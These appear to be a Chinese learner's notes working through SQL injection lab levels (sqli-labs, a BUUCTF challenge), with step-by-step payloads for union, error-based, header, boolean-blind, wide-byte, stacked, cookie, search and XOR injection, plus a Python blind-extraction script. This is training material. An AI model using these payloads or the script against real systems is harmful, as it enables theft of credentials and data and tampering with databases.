目录
四、sql_lab之sqli中的head头注入,less18
3.用burp进行爆破(因为head注入需要登录成功后才能进行查询)
五、sql_lab之sqli中的布尔盲注(Boolean)less8
(3)判读字段名
七、sql_lab之sqli中的堆叠型注入(less-38)
十、sql注入中的异或注入--sql注入加强版(盲注)[极客大挑战 2019]FinalSQL
2.如果不是这个错误,那么便查看数据库密码是否添加,或者是否与MySQL密码一致
一、sql_lab中sql注入之union联合注入
1.判断注入类型
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1没有回显
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1 and 1=1
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1 and 1=2 and1=1和and1=2回显效果一致,则判断不是数字型
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1'' 有回显
则判断出是字符型注入,且注入是’注入
2.判断注入点
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' and 1=1 --+ 表示and两边结果为真,返回结果正常
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' and 1=2 --+ 表示一边为真一边为假,没有返回值
则判断是sql注入
3.判断字段数量
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 5 --+ 没有结果
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 4 --+ 没有结果
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 3 --+ 有回显结果
说明该数据库的字段数量是3
4.用union联合查询,判断回显点
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,2,3 --+
5.查询使用的是那个数据库
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),3 --+
6.查询表名
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema="security" --+
查询到了security数据库里面的所有表名
7.查询users表里面的字段名
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" --+
8.查username和password
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
二、sql_lab之sqli中的post注入
Post注入
用burpsuit抓包去做
Post第一关:(gxa5)
1.判断是否存在注入
username=1'or 1=1 #&password=123&submit=%E7%99%BB%E5%BD%95 有回显
username=1'or 1=2 #&password=123&submit=%E7%99%BB%E5%BD%95 没有回显
则证明存在sql注入
2.判断字段数
username=1'or 1=1 order by 4 #&password=123&submit=%E7%99%BB%E5%BD%95 没有回显
username=1'or 1=1 order by 3 #&password=123&submit=%E7%99%BB%E5%BD%95 有回显
则证明字段数是3
3.用union查询判断回显点
username=1'union select 1,2,3 -- a&password=123&submit=%E7%99%BB%E5%BD%95
4.查出当前数据库名
username=1'union select 1,database(),3 -- a&password=123&submit=%E7%99%BB%E5%BD%95
5.查询当前数据库中的表名
username=1'union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' -- a&password=123&submit=%E7%99%BB%E5%BD%95
6.查询flag表中的字段名
username=1'union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='flag' -- a&password=123&submit=%E7%99%BB%E5%BD%95
7.查字段里面的数据
username=1'union select 1,group_concat(id),group_concat(flag) from flag -- a&password=123&submit=%E7%99%BB%E5%BD%95
三、sql_lab之sqli中的报错注入,less13
报错注入(less-13)
正常报错注入:
1.输入用户名和密码123 123显示登录错误
2.输入用户名和密码123’ 123显示登录错误
123后面有’)说明是’)注入
3.查询数据库名
1') and updatexml('<a><b></b></a>',concat('1111',database(),'1'),'1') -- s
爆出XPATH syntax error: 'security1'
或者用1') and extractvalue('1',concat('1',database())) -- s
爆出XPATH syntax error: 'security'
4.查询表名
1') and extractvalue('1',concat('1',(select group_concat(table_name) from information_schema.tables where table_schema='SECURITY'))) -- s
5.查询users用户的字段名
1') and extractvalue('1',concat('1',(select group_concat(column_name) from information_schema.columns where table_schema='SECURITY' and table_name='users'))) -- s
6.查询username和password
输入这个
1') and extractvalue('1',concat('1',(select group_concat(username) from users))) -- s
Username结果显示
同理
1') and extractvalue('1',concat('1',(select group_concat(password) from users))) -- s
Password结果显示
注意该结果只能显示一行,所以说需要username和password分开查询,否则会出现错误
比如:
=1') and extractvalue('1',concat('1',(select group_concat(username),group_concat(password) from users))) -- s
结果为:
四、sql_lab之sqli中的head头注入,less18
报错注入中的head注入(less-18)
1.输入用户名和密码123 123显示登录错误
2.输入用户名和密码123’ 123显示登录错误
则证明不是普通报错注入,因为有用户名和密码框,如果不是普通报错注入则尝试head注入
3.用burp进行爆破(因为head注入需要登录成功后才能进行查询)
用户名123,密码0 因为对用户名进行爆破
结果为
同理也可使用密码admin对用户名进行爆破
4.抓出登录成功后的包
对每个地方进行尝试找出报错点
5.查找报错点
在User-Agent: 里面输入1
有回显
6.尝试在User-Agent里面输入内容进行爆破注入
(1)判断注入类型
输入User-Agent: 1'
报错显示 near '127.0.0.1', 'admin')' 说明是’)闭合
且应 写为(‘1’,’2’,’3’):其中1代表报错点,2表示127.0.0.7,3表示admin
(2)查询数据库名
用User-Agent: 1'and extractvalue('1',concat('~',(select database()),'~')),123,123) -- s 查出
所以数据库名为security
(3)查询表名
User-Agent: 1'and extractvalue('1',concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'~')),123,123) -- s
XPATH syntax error: '~emails,referers,uagents,users~'
所以表名为emails,referers,uagents,users
(4)查询字段名
User-Agent: 1'and extractvalue('1',concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),'~')),123,123) -- s
XPATH syntax error: '~id,username,password~'
所以字段名为id,username,password
(5)查询username和password
User-Agent: 1'and extractvalue('1',concat('~',(select group_concat(username) from users))),123,123) -- s
查找出用户名为XPATH syntax error: '~Dumb,Angelina,Dummy,secure,stup'
User-Agent: 1'and extractvalue('1',concat('~',(select group_concat(password) from users))),123,123) -- s
查找出密码为XPATH syntax error: '~Dumb,I-kill-you,p@ssword,crappy'
五、sql_lab之sqli中的布尔盲注(Boolean)less8
1.首先给出value
http://127.0.0.3/less-8/?id=1 有回显
2.判断注入类型
http://127.0.0.3/less-8/?id=1 有回显
http://127.0.0.3/less-8/?id=1’ 没有回显
http://127.0.0.3/less-8/?id=1’ -- s 有回显
http://127.0.0.3/less-8/?id=1' and 1=1 -- s 有回显
http://127.0.0.3/less-8/?id=1' and 1=2 -- s 没有回显
说明注入类型是单引号字符串注入
3.判断字段数
http://127.0.0.3/less-8/?id=1' order by 3 -- s 有回显
http://127.0.0.3/less-8/?id=1' order by 4 -- s 没有回显
说明字段数为3
4.判断用什么注入
(1)用union联合查询来尝试
http://127.0.0.3/less-8/?id=1' UNION SELECT 1,database,3 -- s 没有回显说明不是union联合查询
(2)用报错注入尝试
http://127.0.0.3/less-8/?id=1' and updatexml('<a><b></b></a>',concat('1111',database(),'1'),'1') -- s 没有回显说明不是报错注
(3)用布尔盲注来进行查询
http://127.0.0.3/less-8/?id=1' and length(database())>5 -- s 有回显
http://127.0.0.3/less-8/?id=1' and length(database())<10 -- s 有回显
http://127.0.0.3/less-8/?id=1' and length(database())=7 -- s 没有回显
http://127.0.0.3/less-8/?id=1' and length(database())=8 -- s 有回显
则证明是布尔盲注
5.判断当前数据库名的长度
http://127.0.0.3/less-8/?id=1' and length(database())>5 -- s 有回显
http://127.0.0.3/less-8/?id=1' and length(database())<10 -- s 有回显
http://127.0.0.3/less-8/?id=1' and length(database())=7 -- s 没有回显
http://127.0.0.3/less-8/?id=1' and length(database())=8 -- s 有回显
则证明数据库名长度为8
用burp进行爆破
(1)将所需要的变量加§,并选择束集炸弹
(2)将变量1改为
(3)将变量2改为
(4)得到最终结果
(5)根据ascii码将结果进行查询得到
数据库名为security
6.判断表名
(1)判断表的数量
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()) =4 -- s 有回显
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()) >3 -- s 有回显
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()) >4 -- s 没有回显
说明security中有4个表
(2)查询每个表名的长度
http://127.0.0.3/less-8/?id=1' and (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1) =6 -- s 有回显
http://127.0.0.3/less-8/?id=1' and (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1) >10 -- s 没有回显
http://127.0.0.3/less-8/?id=1' and (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1) >5 -- s 有回显
说明第一个表名的的长度为6
用burp爆破
将所需要的变量加§,并选择束集炸弹
将变量1改为
将变量2改为
最终结果为
(3)查询表名
第一个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1)) = 1 -- s
通过burp爆破步骤同上得到
所以第一个表名为:emails
第二个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1,1),1,1)) = 1 -- s
所以第二个表名为:refere
第三个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 2,1),1,1)) = 1 -- s
所以第三个表名为:uagent
第四个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 3,1),1,1)) = 1 -- s
所以第四个表名为:users
查到users用户表名
7.判断字段名
(1)判断字段数量
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() and table_name='users') =2 -- s无回显
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() and table_name='users') =3 -- s 有回显
说明字段名的字段数是3
(2)判断每个字段的长度
用SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='users' LIMIT 0,1
用burp爆破,步骤同上得到
所以字段1的长度为2,字段2的长度为8,字段3的长度为8
(3)判读字段名
步骤同上
1
2
3
查询得
所以第一个字段名为id,第二个字段名为username,第三个字段名为password
8.查询最终结果username和password
查询username和password总数
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(username) FROM users) =13 -- s
Username=13
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(password) FROM users) =13 -- s
Password=13
查询username和password的最终结果
Username
passowrd同理
六、sql_lab之sqli中的宽字节注入(less32)
1.判断注入类型
http://127.0.0.3/less-32/?id=1
http://127.0.0.3/less-32/?id=1'
出现 \’ 则证明是宽字节注入
2.构成闭环
http://127.0.0.3/less-32/?id=1%df' -- s
显示登录成功则构成闭环
3.查询字段数
http://127.0.0.3/less-32/?id=1%df' order by 4 -- s
http://127.0.0.3/less-32/?id=1%df' order by 3 -- s
说明字段数为3
4.用union联合查询判断回显点
http://127.0.0.3/less-32/?id=-1%df' union select 1,2,3 -- s 记住前面要加 - 因为不加 - 则会正常查询第一个数不会执行联合查询
5.查询数据库名
http://127.0.0.3/less-32/?id=-1%df' union select 1,database(),3 -- s
6.查询表名
http://127.0.0.3/less-32/?id=-1%df' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 -- s
爆出security里面的table表
7.查询字段名
http://127.0.0.3/less-32/?id=-1%df' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 -- s
8.查username和password
http://127.0.0.3/less-32/?id=-1%df' union select 1,group_concat(username),group_concat(password) from users -- s
七、sql_lab之sqli中的堆叠型注入(less-38)
1.判断注入类型
http://127.0.0.3/less-38/?id=1' and 1=2 -- s 没有回显
http://127.0.0.3/less-38/?id=1' and 1=1 -- s 有回显
则说明是单字节’注入
2.查询字段数
http://127.0.0.3/less-38/?id=1' order by 4 -- s 报错
http://127.0.0.3/less-38/?id=1' order by 3 -- s 有回显
说明字段数为3
3.判断回显点
http://127.0.0.3/less-38/?id=-1' union select 1,2,3 -- s
4.查询数据库
http://127.0.0.3/less-38/?id=-1' union select 1,database(),3 -- s
接下来的步骤可以用联合查询进行查询
堆叠注入攻击
(1)在users表中添加一个用户
http://127.0.0.3/less-38/?id=1'; insert into values(17,'gao','a123456') -- s
证明添加成功
(2)在users表中删除一个用户
http://127.0.0.3/less-38/?id=1';delete from users where users.username='gao' -- s
表中没有gao这个用户,说明删除成功
八、sql_lab之sqli注入中的cookie注入Cookei注入(gxa的从cookei注入)
1.打开控制台
2.验证id=2时的值
document.cookie="id=2"
3.判断是上面闭合方式
document.cookie="id=2' -- s" 有回显
说明是’单引号闭合
4.用order by 判断字段数
5.用联合查询判断回显点
接下来的步骤与显错注入类似(用联合查询做的注入类似),不过多叙述
也可以用burp抓包的方式去做
在Cookie: id=2' -- s中输入值
Base64注入(gxa中base64注入)
6.用转换器转换出base64
Id=1 转换成 id=MQ==
7.出现回显
http://sss-s347glt.gxalabs.com/Pass-21/index.php?id=MQ==
然后接下来的每一步通过union联合查询进行注入然后转译成base64的编码格式即可
九、sql_lab之sqli中的搜索型注入
原理是运用模糊查询:
select * from users where username like '%a%'
1.找到具有模糊查询的搜索框的注入点
2.构造闭合
因为模糊查询的代码是
select * from users where username like '%a%'
所以应该
鱼%’ -- s
判断构造闭合的函数是否正确
鱼%' and 1=1 -- s
http://www.wsdc.com/views/search_p.php?keyword=鱼%' and 1=1 -- s
http://www.wsdc.com/views/search_p.php?keyword=鱼%' and 1=2 -- s
证明闭合成功
3.查询字段数
http://www.wsdc.com/views/search_p.php?keyword=鱼%' order by 10 -- s
http://www.wsdc.com/views/search_p.php?keyword=鱼%' order by 5 -- s
http://www.wsdc.com/views/search_p.php?keyword=鱼%' order by 7 -- s
http://www.wsdc.com/views/search_p.php?keyword=鱼%' order by 8 -- s
所以说字段数为7
4.union联合查询,判断回显点
http://www.wsdc.com/views/search_p.php?keyword=鱼%' union select 1,2,3,4,5,6,7 -- s
所以说回显点为2和6
5.查询数据库
http://www.wsdc.com/views/search_p.php?keyword=鱼%' union select 1,database(),3,4,5,6,7 -- s
6.查询表名
http://www.wsdc.com/views/search_p.php?keyword=鱼%' union select 1,database(),3,4,5,group_concat(table_name) ,7 from information_schema.tables where table_schema="food_db" -- s
7.查询字段
http://www.wsdc.com/views/search_p.php?keyword=鱼%' union select 1,database(),3,4,5,group_concat(column_name) ,7 from information_schema.columns where table_schema="food_db" and table_name="collection" -- s
十、sql注入中的异或注入--sql注入加强版(盲注)[极客大挑战 2019]FinalSQL
新知识-sql注入中的异或注入(盲注)
1、明确异或注入中的异或是什么
异或注入是盲注的一种类型,因为异或逻辑通常返回的是1和0,所以一般用于盲注中。应用场景是过滤了union select and or orderby等一些关键字。还能绕过空格过滤。
异或符号是 xor 或者 ^
相同为0,不同为1
数字与数字:
1^1 ----------------------0
0^0 ----------------------0
1^0 ----------------------1
字符与字符:
字符中如果没有数字或者数字在字母后面在比较时都会转为数字0,
'admin'=0 'admin12'=0
而当数字在字母前面时会是在字母前面的一堆数字
'1admin'=1 '12admin'=12 'admin'=0 'admin12'=0
数字与字符:
将字符转为数字进行异或操作
'admin1'^1=0^1
'admin'^1=0^1
'1admin'^1=1^1
2、进入数据库测试异或
mysql -uroot -p123456789
查询数据库
show databases;
使用travel数据库
use xxx;
查询数据库中的表名
show tables;
查询表里面的内容
select*from xxx;
测试
select * from plane where uname='roo'^1;这里'roo'=0所以说uname=0^1,所以说uname=1
由此可知当uname=1时查不到结果
select * from plane where uname='roo'^0;这里'roo'=0所以说uname=0^0,所以说uname=0
由此可知uname=0时查到所有结果
3、靶场测试
推荐靶场sqli-labs、[极客大挑战 2019]FinalSQL
我使用的时[极客大挑战 2019]FinalSQL
(1)找注入点
这点我首先在用户名、密码输入了一系列的注入点发现都没有什么效果,这就是这个傻鸟靶场坑的地方。
因此我们就重新找注入点,这里我在做上一个靶场极客大挑战 2019]EasySQL的时候
没有中间这个
因此我们把焦点放在这里尝试点击看看有没有变化
当我点击1的时候,奇异的一幕发生了,我点击进去了
这意味着我们又重新找到了注入点
进行一系列的代码尝试
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1' or 1=1 -- s
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1') or 1=1 -- s
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1” or 1=1 -- s
发现都是这个结果,那么就表明可能是or 这个关键字被过滤了
但是当我们把or换成and
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1' and1=1 -- s
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1') and1=1 -- s
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1” and 1=1 -- s
发现也是相同的结果
(2)尝试一下盲注中的异或注入了
id='1'^1这里也就等同于id=1^1,也就为id=0
发现回显变了,说明我们注入点找正确了
继续尝试
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id='1'^0
发现回显又发生了变化,因此我们在后面加入我们想查询的语句
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1^(length(database())>0) 这里length(database())>0如果为真就为1,id=1^1,也就为id=0
回显跟上述测试的一致,因此database长度确实大于0
回显跟上述测试的一致,因此database长度不大于5
证明大于3也是正确的
证明等于3是错误的
证明等于4是正确的
burp抓包找到正确的数据库名
进行抓包
这里发现状态码不一样,和长度不一样的时候
很多结果都不满足,因此不能用burp来做
4.用二分法得到数据库名
经过一系列的步骤得到
第一个字母为103=g
第二个字母为101=e
第三个字母为101=e
第四个字母为107=k
所以最终结果为geek
5、构造脚本
import requests
import time
url = "http://c7f4deb2-e4eb-4cec-a2b4-6014fb5b6c2d.node3.buuoj.cn/search.php?"
temp = {"id" : ""}
column = ""
for i in range(1,1000):
time.sleep(0.06)
low = 32
high =128
mid = (low+high)//2
while(low<high):
#库名
temp["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" %(i,mid)
#表名
#temp["id"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" %(i,mid)
#字段名
#temp["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)
#内容
#temp["id"] = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid)
r = requests.get(url,params=temp)
time.sleep(0.04)
print(low,high,mid,":")
if "Click" in r.text:
low = mid+1
else:
high = mid
mid =(low+high)//2
if(mid ==32 or mid ==127):
break
column +=chr(mid)
print(column)
print("All:" ,column)
得到最终flag
十一、sql_lab靶场搭建以及存在的一些问题
sql_lab靶场搭建问题
1.首先检查小皮版本
把小皮改到5.3.29版本如果没有可以直接点击更多版本进行选择安装
当版本不对时则会暴出这种错误
SETTING UP THE DATABASE SCHEMA AND POPULATING DATA IN TABLES:
Fatal error: Uncaught Error: Call to undefined function mysql_connect() in D:\phpstudy_pro\WWW\localhost2\sqli\sql-connections\setup-db.php:29 Stack trace: #0 {main} thrown in D:\phpstudy_pro\WWW\localhost2\sqli\sql-connections\setup-db.php on line 29
2.如果不是这个错误,那么便查看数据库密码是否添加,或者是否与MySQL密码一致
打开sql-connections下面的db-creds.inc
打开sql-connections下面的db-creds.inc
小皮数据库里面的root密码与db-creds.inc里面的密码要保持一致
如果密码不正确则会出现这个错误
SETTING UP THE DATABASE SCHEMA AND POPULATING DATA IN TABLES:
Warning: mysql_connect() [function.mysql-connect]: Access denied for user 'root'@'localhost' (using password: YES) in D:\phpstudy_pro\WWW\localhost2\sqli\sql-connections\setup-db.php on line 29
[*]...................Could not connect to DB, check the creds in db-creds.inc: Access denied for user 'root'@'localhost' (using password: YES)
当密码一致和版本正确后则会成功导入数据库
这样就表示sql_lab环境搭建成功,可以使用